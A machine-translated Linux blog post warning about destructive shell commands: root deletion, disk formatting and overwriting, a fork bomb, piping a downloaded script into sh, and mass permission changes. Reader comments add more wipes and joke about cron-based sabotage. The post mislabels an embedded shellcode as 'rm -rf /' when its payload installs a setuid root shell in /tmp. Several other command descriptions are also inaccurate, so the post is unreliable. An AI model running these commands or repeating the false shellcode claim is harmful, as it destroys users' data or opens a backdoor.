Dangerous commands in GNU / Linux

I copy the commands and their description (and add in some my comments) 😛

rm -rf /

This command recursively and forcibly removes all files and directories stored on the root partition. Therefore, the system, the data and even the mother who gave birth to him are loaded.

[Code]

char esp [] _attribute_ ((section (". text"))) / * esp
release * /
= «\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68»
«\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99»
«\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7»
«\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56»
«\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31»
«\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69»
«\x6e\x2f\x73\x68\x00\x2d\x63\x00»
«Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; »;

[/ Code]

This is the hexadecimal version of the command rm -rf / that can even fool the most knowledgeable.

mkfs.ext3 /dev/sda

This command can format or delete all files contained in the device mentioned after the command mkfs.

: (){:|:&};:

Actually the first two characters go together, : ( What happens that I separate them so that this case does not come out 🙁 Known as the fork bomb, this command asks your system to execute a large number of processes until the system crashes, which may result in information damage.

comando > /dev/sda

This command will write raw data to a block which will usually corrupt the filesystem resulting in loss of information.

wget http://fuente_poco_confiable O | sh

Never download scripts or code from a source that you cannot fully trust, much less if you are going to run it automatically once downloaded.

mv ~/* /dev/null
mv /home/tucarpetaprincipal/* /dev/null

This command will move all the files stored in your main folder to a place that does not exist, permanently losing all your information.

dd if=/dev/urandom of=/dev/sda

This command will fill the entire partition of your hard drive with random data.

chmod -R 777 /

This command will grant write permissions to your entire system.

chmod 000 -R /
chown nobody:nobody -R /

This command removes all privileged access to all users on the system except Root.

yes > /dev/sda

This command will fill your hard drive with the letter 'y'.

rm -rf /boot/

This command removes all kernel, initrd, and GRUB / LILO files required to boot the system.

rm /bin/init
cd / ; find -iname init -exec rm -rf {} \;

This command will delete all files that contain the word 'init', even'/sbin/init'.


Leave a Comment

Your email address will not be published. Required fields are marked with *

*

*

  1. Responsible for the data: Miguel Ángel Gatón
  2. Purpose of the data: Control SPAM, comment management.
  3. Legitimation: Your consent
  4. Communication of the data: The data will not be communicated to third parties except by legal obligation.
  5. Data storage: Database hosted by Occentus Networks (EU)
  6. Rights: At any time you can limit, recover and delete your information.

  1.   santiago santana said

    As I understood the fork bomb does not work in modern unixes because they limit the number of processes that a user can have open. Maybe I'm just saying inconsistencies in which case correct me: P.

  2.   KZKG ^ Gaara said

    This for emos and suicides (many times they coincide with each other haha) is priceless, it will be the glory LOL !!

    1.    Courage said

      Hey, and what commands are priceless for you reggaetoneros? Just out of curiosity because I still don't give up on metal

  3.   Courage said

    The mother who gave birth to him hahahaha is PM that.

    I don't know but it seems to me that this is how you scare those who want to switch to Linux

  4.   Brown said

    Eh something curious happened to me and I would like to see if it is so or what. It turns out that I save as I usually do the publication in .pdf format using the openoffice and when I put the name of the file to save it does not let me put "dangerous commands in GNU / linux" haha ​​probe with another name and if it lets me. I also tried to save it in a common way as an .odt and it does not leave me with that title but if changing it. What happened ? Linux won't let me put dangerous titles? 😀
    Very good post by the way hehe 😉

    1.    KZKG ^ Gaara said

      That's because the character «/»Cannot be put in the file names 🙂
      Try putting: Dangerous commands in GNU-Linux ó Dangerous commands in GNULinux 😀
      regards

      1.    Brown said

        Jojo thanks I thought it was something more mystical haha ​​😛 great thanks 😉

        1.    KZKG ^ Gaara said

          HAHAHA what did you think, that we had programmed the article so that it could not be saved or something strange like that? .. HAHA nah, we're not that nerdy hahahaha.

  5.   Ozzar said

    This is the most beautiful thing about Linux: if one day you are up to the balls of it, it is self-sufficient and gives you the weapons to destroy it. 🙂

    1.    KZKG ^ Gaara said

      +1 😀

    2.    elav <° Linux said

      Hahaha I imagine myself one day: I shit on the shitty Linux this .. rm -rf /

      1.    Hugo said

        Hehehe, I think you would remove it even faster with something like ... dd if=/dev/zero of=/dev/sda bs=10M count=25

    3.    anubis_linux said

      +1 hahahaha

  6.   VisitnX said

    "Rm -rf /", once for fun on a freshly installed Ubuntu we ran it to see the "adverse effects" and it was a lot of fun how it fell apart.

    1.    Courage said

      Hahaha although the truth is Ubuntu already has activated that command constantly as standard

      1.    VisitnX said

        Hahaha, sure, we just wanted to speed it up, it was the last time I saw an Ubuntu, hehehe

  7.   kazehiri said

    So no one believes Skynet ... ¬¬

    1.    elav <° Linux said

      We are saved !!!

  8.   Gabriel said

    I think this post is rather dangerous, it seems that from seeing so much code, it is curious to see what happens in the terminal 😛

    1.    elav <° Linux said

      On the contrary, in a certain way it alerts the newbies who enter the forums and the most knowledgeable for fucking tell them those commands. 😀

  9.   proper said

    rm -rvf /

    better add the -v option to literally see how the xD system is destroyed

  10.   anubis_linux said

    The article is very good hehe, I already have the weapons for a scrtip in the cron, for when they vote me for the work jaajaj: PP jajaajaj, and as @elav says there are many newbies who have screwed up because of the gurus who are in the forums wanting to fuck !!

    1.    elav <° Linux said

      It would be very unethical for you to do that. By the way, enter the jabber that I need to ask you a question 😛

    2.    KZKG ^ Gaara said

      I was worried about you not getting thrown away ... carcamal 😀 (you are 25 years old, you are a grandfather HAHAHAHA)

  11.   auroszx said

    Ok, but, I think they would be less dangerous if they didn't make them known. If you don't know that something exists, you don't use it 😛 No?

    1.    elav <° Linux said

      There is no greater danger than ignorance. U_U

  12.   elwuilmer said

    Who else has been curious to execute one of these commands? :OR/

  13.   I get tired said

    I like everything you have written down, but although I am not going to do it…, how can I know that the information you give about dangerous codes is good?
    I would like to know since I handle Debian, and I also share information.
    Thank you